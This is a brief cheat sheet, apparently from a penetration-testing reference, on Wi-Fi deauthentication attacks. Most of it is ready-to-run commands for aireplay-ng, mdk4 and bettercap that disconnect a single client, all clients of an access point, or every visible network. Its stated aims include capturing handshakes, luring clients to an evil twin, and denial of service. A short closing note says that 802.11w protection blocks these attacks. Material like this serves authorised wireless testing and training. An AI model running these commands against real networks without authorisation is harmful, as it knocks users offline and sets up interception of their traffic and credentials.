Deauthentication Attacks
Exploitation
Deauthentication frames can disconnect clients from a network. This is used to capture handshakes, force clients to roam to an evil twin, or cause denial of service.
Aireplay-ng
Deauthenticate a single client.
bash
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0monBroadcast deauth to all clients (continuous).
bash
sudo aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF wlan0monMDK4
MDK4 is more powerful. Deauthenticate a specific AP.
bash
echo "AA:BB:CC:DD:EE:FF" > target.txt
sudo mdk4 wlan0mon d -b target.txtMass deauth all visible networks (DESTRUCTIVE!).
bash
sudo mdk4 wlan0mon dBettercap
Deauth using Bettercap.
bash
sudo bettercap -iface wlan0mon
> wifi.recon on
> wifi.deauth AA:BB:CC:DD:EE:FFNote on 802.11w
802.11w (Management Frame Protection) defeats deauthentication attacks by encrypting management frames. Modern networks and clients may have MFP enabled, rendering these attacks ineffective.